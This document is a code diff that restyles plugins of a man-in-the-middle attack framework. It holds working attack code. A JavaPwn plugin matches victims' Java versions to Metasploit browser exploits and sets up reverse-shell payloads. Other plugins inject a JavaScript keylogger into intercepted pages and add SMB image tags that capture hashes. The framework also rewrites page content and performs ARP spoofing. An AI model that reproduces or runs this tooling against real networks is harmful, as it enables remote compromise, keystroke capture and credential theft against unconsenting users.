logging.info('%s >> waiting for ze shells, Please wait...' % client_ip)
|
||||
|
||||
|
||||
exit = False
|
||||
i = 1
|
||||
while i <= 30: #wait max 60 seconds for a new shell
|
||||
if exit == True:
|
||||
while i <= 30: #wait max 60 seconds for a new shell
|
||||
if exit:
|
||||
break
|
||||
shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions
|
||||
shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions
|
||||
if len(shell) > 0:
|
||||
for k,v in shell.items():
|
||||
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
|
||||
for k, v in shell.items():
|
||||
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
|
||||
logging.info("%s >> Got shell!" % client_ip)
|
||||
self.sploited_ips.append(client_ip) #target successfuly exploited
|
||||
self.sploited_ips.append(client_ip) #target successfuly exploited
|
||||
exit = True
|
||||
break
|
||||
sleep(2)
|
||||
i+=1
|
||||
|
||||
if exit == False: #We didn't get a shell
|
||||
i += 1
|
||||
|
||||
if exit is False: #We didn't get a shell
|
||||
logging.info("%s >> session not established after 30 seconds" % client_ip)
|
||||
|
||||
|
||||
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
|
||||
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
|
||||
|
||||
def pwn(self, msfinstance):
|
||||
while True:
|
||||
if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled
|
||||
|
||||
brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format
|
||||
|
||||
if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited
|
||||
if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled
|
||||
|
||||
brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format
|
||||
|
||||
if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited
|
||||
|
||||
vic_ip = brwprofile['ip']
|
||||
|
||||
client_version = self.version2float(brwprofile['java_version']) #convert the clients java string version to a float
|
||||
client_version = self.version2float(brwprofile['java_version']) #convert the clients java string version to a float
|
||||
|
||||
logging.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version']))
|
||||
logging.info("%s >> Choosing exploit based on version string" % vic_ip)
|
||||
|
||||
min_version = min(self.javaVersionDic, key=lambda x: abs(x-client_version)) #retrives the exploit with minimum distance from the clients version
|
||||
|
||||
if client_version < min_version: #since the two version strings are now floats we can use the < operand
|
||||
|
||||
exploit = self.javaVersionDic[min_version] #get the exploit string for that version
|
||||
|
||||
min_version = min(self.javaVersionDic, key=lambda x: abs(x-client_version)) #retrives the exploit with minimum distance from the clients version
|
||||
|
||||
if client_version < min_version: #since the two version strings are now floats we can use the < operand
|
||||
|
||||
exploit = self.javaVersionDic[min_version] #get the exploit string for that version
|
||||
|
||||
logging.info("%s >> client is vulnerable to %s!" % (vic_ip, exploit))
|
||||
|
||||
msf = msfinstance
|
||||
|
||||
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
|
||||
jobs = msf.call('job.list') #get running jobs
|
||||
if len(jobs) > 0:
|
||||
for k,v in jobs.items():
|
||||
info = msf.call('job.info', [k])
|
||||
if exploit in info['name']:
|
||||
logging.info('%s >> %s exploit already started' % (vic_ip, exploit))
|
||||
url = info['uripath'] #get the url assigned to the exploit
|
||||
self.injectWait(msf, url, vic_ip)
|
||||
|
||||
else: #here we setup the exploit
|
||||
rand_url = self.rand_url() # generate a random url
|
||||
rand_port = random.randint(1000, 65535) # generate a random port for the payload listener
|
||||
|
||||
|
||||
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
|
||||
jobs = msf.call('job.list') #get running jobs
|
||||
if len(jobs) > 0:
|
||||
for k, v in jobs.items():
|
||||
info = msf.call('job.info', [k])
|
||||
if exploit in info['name']:
|
||||
logging.info('%s >> %s exploit already started' % (vic_ip, exploit))
|
||||
url = info['uripath'] #get the url assigned to the exploit
|
||||
self.injectWait(msf, url, vic_ip)
|
||||
|
||||
else: #here we setup the exploit
|
||||
rand_url = self.rand_url() #generate a random url
|
||||
rand_port = random.randint(1000, 65535) #generate a random port for the payload listener
|
||||
|
||||
|
||||
#generate the command string to send to the virtual console
|
||||
#new line character very important as it simulates a user pressing enter
|
||||
cmd = "use exploit/multi/browser/%s\n" % exploit
|
||||
cmd = "use exploit/multi/browser/%s\n" % exploit
|
||||
cmd += "set SRVPORT %s\n" % self.msfport
|
||||
cmd += "set URIPATH %s\n" % rand_url
|
||||
cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter (plus its multi-platform! Yay java!)
|
||||
cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter (plus its multi-platform! Yay java!)
|
||||
cmd += "set LHOST %s\n" % self.msfip
|
||||
cmd += "set LPORT %s\n" % rand_port
|
||||
cmd += "exploit -j\n"
|
||||
|
||||
|
||||
logging.debug("command string:\n%s" % cmd)
|
||||
|
||||
try:
|
||||
logging.info("%s >> sending commands to metasploit" % vic_ip)
|
||||
|
||||
logging.info("%s >> sending commands to metasploit" % vic_ip)
|
||||
|
||||
#Create a virtual console
|
||||
console_id = msf.call('console.create')['id']
|
||||
|
||||
#write the cmd to the newly created console
|
||||
msf.call('console.write', [console_id, cmd])
|
||||
|
||||
|
||||
logging.info("%s >> commands sent succesfully" % vic_ip)
|
||||
except Exception, e:
|
||||
logging.info('%s >> Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e))
|
||||
|
||||
self.injectWait(msf, rand_url, vic_ip)
|
||||
self.injectWait(msf, rand_url, vic_ip)
|
||||
else:
|
||||
logging.info("%s >> client is not vulnerable to any java exploit" % vic_ip)
|
||||
self.sploited_ips.append(vic_ip)
|
||||
@ -175,17 +174,17 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||
options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]')
|
||||
options.add_argument('--rpcip', dest='rpcip', default='127.0.0.1', help='IP of MSF MSGRPC server [default: localhost]')
|
||||
options.add_argument('--rpcpass', dest='rpcpass', default='abc123', help='Password for the MSF MSGRPC server [default: abc123]')
|
||||
options.add_argument('--javapwncfg', type=file, help='Specify a config file')
|
||||
options.add_argument('--javapwncfg', type=file, help='Specify a config file [default: javapwn.cfg]')
|
||||
|
||||
def finish(self):
|
||||
'''This will be called when shutting down'''
|
||||
msf = msfrpc.Msfrpc({"host": self.rpcip})
|
||||
msf.login('msf', self.rpcpass)
|
||||
|
||||
|
||||
jobs = msf.call('job.list')
|
||||
if len(jobs) > 0:
|
||||
print '[*] Stopping all running metasploit jobs'
|
||||
for k,v in jobs.items():
|
||||
for k, v in jobs.items():
|
||||
msf.call('job.stop', [k])
|
||||
|
||||
consoles = msf.call('console.list')['consoles']
|
||||
|
@ -2,14 +2,15 @@ from plugins.plugin import Plugin
|
||||
from plugins.Inject import Inject
|
||||
import logging
|
||||
|
||||
|
||||
class jskeylogger(Inject, Plugin):
|
||||
name = "Javascript Keylogger"
|
||||
optname = "jskeylogger"
|
||||
desc = "Injects a javascript keylogger into clients webpages"
|
||||
implements = ["handleResponse","handleHeader","connectionMade", "sendPostData"]
|
||||
implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"]
|
||||
has_opts = False
|
||||
|
||||
def initialize(self,options):
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self.msf_keylogger()
|
||||
print "[*] Javascript Keylogger plugin online"
|
||||
@ -105,4 +106,4 @@ if (var3 == 13 || var2.length > 3000)
|
||||
}
|
||||
</script>"""
|
||||
|
||||
return payload
|
||||
return payload
|
||||
|
@ -1,23 +1,28 @@
|
||||
import os,subprocess,logging,time,re
|
||||
import argparse
|
||||
#import os
|
||||
#import subprocess
|
||||
import sys
|
||||
import logging
|
||||
import time
|
||||
import re
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.CacheKill import CacheKill
|
||||
|
||||
class Replace(CacheKill,Plugin):
|
||||
|
||||
class Replace(CacheKill, Plugin):
|
||||
name = "Replace"
|
||||
optname = "replace"
|
||||
implements = ["handleResponse","handleHeader","connectionMade"]
|
||||
implements = ["handleResponse", "handleHeader", "connectionMade"]
|
||||
has_opts = True
|
||||
desc = "Replace arbitrary content in HTML content"
|
||||
|
||||
def initialize(self,options):
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
|
||||
self.search_str = options.search_str
|
||||
self.replace_str = options.replace_str
|
||||
self.regex_file = options.regex_file
|
||||
|
||||
if (self.search_str==None or self.search_str=="") and self.regex_file is None:
|
||||
if (self.search_str is None or self.search_str == "") and self.regex_file is None:
|
||||
sys.exit("[*] Please provide a search string or a regex file")
|
||||
|
||||
self.regexes = []
|
||||
@ -33,47 +38,46 @@ class Replace(CacheKill,Plugin):
|
||||
self.ctable = {}
|
||||
self.dtable = {}
|
||||
self.mime = "text/html"
|
||||
|
||||
|
||||
print "[*] Replace plugin online"
|
||||
|
||||
def handleResponse(self,request,data):
|
||||
ip,hn,mime = self._get_req_info(request)
|
||||
def handleResponse(self, request, data):
|
||||
ip, hn, mime = self._get_req_info(request)
|
||||
|
||||
if self._should_replace(ip,hn,mime):
|
||||
|
||||
if self.search_str!=None and self.search_str!="":
|
||||
if self._should_replace(ip, hn, mime):
|
||||
|
||||
if self.search_str is not None and self.search_str != "":
|
||||
data = data.replace(self.search_str, self.replace_str)
|
||||
logging.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str))
|
||||
|
||||
|
||||
# Did the user provide us with a regex file?
|
||||
for regex in self.regexes:
|
||||
try:
|
||||
data = re.sub(regex[0], regex[1], data)
|
||||
|
||||
logging.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
|
||||
except Exception, e:
|
||||
except Exception:
|
||||
logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
|
||||
|
||||
self.ctable[ip] = time.time()
|
||||
self.dtable[ip+hn] = True
|
||||
|
||||
return {'request':request,'data':data}
|
||||
|
||||
return {'request': request, 'data': data}
|
||||
|
||||
return
|
||||
|
||||
def add_options(self,options):
|
||||
options.add_argument("--search-str",type=str,default=None,help="String you would like to replace --replace-str with. Default: '' (empty string)")
|
||||
options.add_argument("--replace-str",type=str,default="",help="String you would like to replace.")
|
||||
options.add_argument("--regex-file",type=file,help="Load file with regexes. File format: <regex1>[tab]<regex2>[new-line]")
|
||||
options.add_argument("--keep-cache",action="store_true",help="Don't kill the server/client caching.")
|
||||
def add_options(self, options):
|
||||
options.add_argument("--search-str", type=str, default=None, help="String you would like to replace --replace-str with. Default: '' (empty string)")
|
||||
options.add_argument("--replace-str", type=str, default="", help="String you would like to replace.")
|
||||
options.add_argument("--regex-file", type=file, help="Load file with regexes. File format: <regex1>[tab]<regex2>[new-line]")
|
||||
options.add_argument("--keep-cache", action="store_true", help="Don't kill the server/client caching.")
|
||||
|
||||
def _should_replace(self,ip,hn,mime):
|
||||
return mime.find(self.mime)!=-1
|
||||
|
||||
def _get_req_info(self,request):
|
||||
def _should_replace(self, ip, hn, mime):
|
||||
return mime.find(self.mime) != -1
|
||||
|
||||
def _get_req_info(self, request):
|
||||
ip = request.client.getClientIP()
|
||||
hn = request.client.getRequestHostname()
|
||||
mime = request.client.headers['Content-Type']
|
||||
|
||||
return (ip,hn,mime)
|
||||
return (ip, hn, mime)
|
||||
|
@ -1,22 +1,22 @@
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.Inject import Inject
|
||||
|
||||
class SMBAuth(Inject,Plugin):
|
||||
|
||||
class SMBAuth(Inject, Plugin):
|
||||
name = "SMBAuth"
|
||||
optname = "smbauth"
|
||||
desc = "Evoke SMB challenge-response auth attempts"
|
||||
|
||||
def initialize(self,options):
|
||||
Inject.initialize(self,options)
|
||||
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
self.target_ip = options.host
|
||||
self.html_payload = self._get_data()
|
||||
print "[*] SMBAuth plugin online"
|
||||
|
||||
def add_options(self,options):
|
||||
def add_options(self, options):
|
||||
options.add_argument("--host", type=str, help="The ip address of your capture server")
|
||||
|
||||
|
||||
def _get_data(self):
|
||||
return '<img src=\"\\\\%s\\image.jpg\">'\
|
||||
'<img src=\"file://///%s\\image.jpg\">'\
|
||||
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">'\
|
||||
% tuple([self.target_ip]*3)
|
||||
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">' % tuple([self.target_ip]*3)
|
||||
|
@ -42,7 +42,7 @@ class Spoof(Plugin):
|
||||
self.target = options.target
|
||||
self.arpmode = options.arpmode
|
||||
self.port = self.options.listen
|
||||
self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de
|
||||
self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de
|
||||
self.debug = False
|
||||
self.send = True
|
||||
|
||||
|
@ -1,47 +1,49 @@
|
||||
import logging
|
||||
from cStringIO import StringIO
|
||||
from plugins.plugin import Plugin
|
||||
from PIL import Image
|
||||
|
||||
|
||||
class Upsidedownternet(Plugin):
|
||||
name = "Upsidedownternet"
|
||||
optname = "upsidedownternet"
|
||||
desc = 'Flips images 180 degrees'
|
||||
has_opts = False
|
||||
implements = ["handleResponse","handleHeader"]
|
||||
|
||||
def initialize(self,options):
|
||||
from PIL import Image,ImageFile
|
||||
implements = ["handleResponse", "handleHeader"]
|
||||
|
||||
def initialize(self, options):
|
||||
from PIL import Image, ImageFile
|
||||
globals()['Image'] = Image
|
||||
globals()['ImageFile'] = ImageFile
|
||||
self.options = options
|
||||
|
||||
def handleHeader(self,request,key,value):
|
||||
self.options = options
|
||||
|
||||
def handleHeader(self, request, key, value):
|
||||
'''Kill the image skipping that's in place for speed reasons'''
|
||||
if request.isImageRequest:
|
||||
request.isImageRequest = False
|
||||
request.isImage = True
|
||||
request.imageType = value.split("/")[1].upper()
|
||||
|
||||
def handleResponse(self,request,data):
|
||||
request.imageType = value.split("/")[1].upper()
|
||||
|
||||
def handleResponse(self, request, data):
|
||||
try:
|
||||
isImage = getattr(request,'isImage')
|
||||
isImage = getattr(request, 'isImage')
|
||||
except AttributeError:
|
||||
isImage = False
|
||||
|
||||
if isImage:
|
||||
try:
|
||||
image_type=request.imageType
|
||||
image_type = request.imageType
|
||||
#For some reason more images get parsed using the parser
|
||||
#rather than a file...PIL still needs some work I guess
|
||||
p = ImageFile.Parser()
|
||||
p = Image.Parser()
|
||||
p.feed(data)
|
||||
im = p.close()
|
||||
im=im.transpose(Image.ROTATE_180)
|
||||
im = im.transpose(Image.ROTATE_180)
|
||||
output = StringIO()
|
||||
im.save(output,format=image_type)
|
||||
data=output.getvalue()
|
||||
im.save(output, format=image_type)
|
||||
data = output.getvalue()
|
||||
output.close()
|
||||
logging.info("Flipped image")
|
||||
except Exception as e:
|
||||
print "Error: %s" % e
|
||||
return {'request':request,'data':data}
|
||||
return {'request': request, 'data': data}
|
||||
|
@ -3,16 +3,19 @@ The base plugin class. This shows the various methods that
|
||||
can get called during the MITM attack.
|
||||
'''
|
||||
|
||||
|
||||
class Plugin(object):
|
||||
name = "Generic plugin"
|
||||
optname = "generic"
|
||||
desc = ""
|
||||
implements = []
|
||||
has_opts = False
|
||||
|
||||
def __init__(self):
|
||||
'''Called on plugin instantiation. Probably don't need this'''
|
||||
pass
|
||||
def initialize(self,options):
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
|
||||
@ -20,15 +23,15 @@ class Plugin(object):
|
||||
'''Add your options to the options parser'''
|
||||
raise NotImplementedError
|
||||
|
||||
def handleHeader(self,request,key,value):
|
||||
def handleHeader(self, request, key, value):
|
||||
'''Handles all response headers'''
|
||||
raise NotImplementedError
|
||||
|
||||
def connectionMade(self,request):
|
||||
def connectionMade(self, request):
|
||||
'''Handles outgoing request'''
|
||||
raise NotImplementedError
|
||||
|
||||
def handleResponse(self,request,data):
|
||||
|
||||
def handleResponse(self, request, data):
|
||||
'''
|
||||
Handles all non-image responses by default. See Upsidedownternet
|
||||
for how to get images
|
||||
|
Loading…
x
Reference in New Issue
Block a user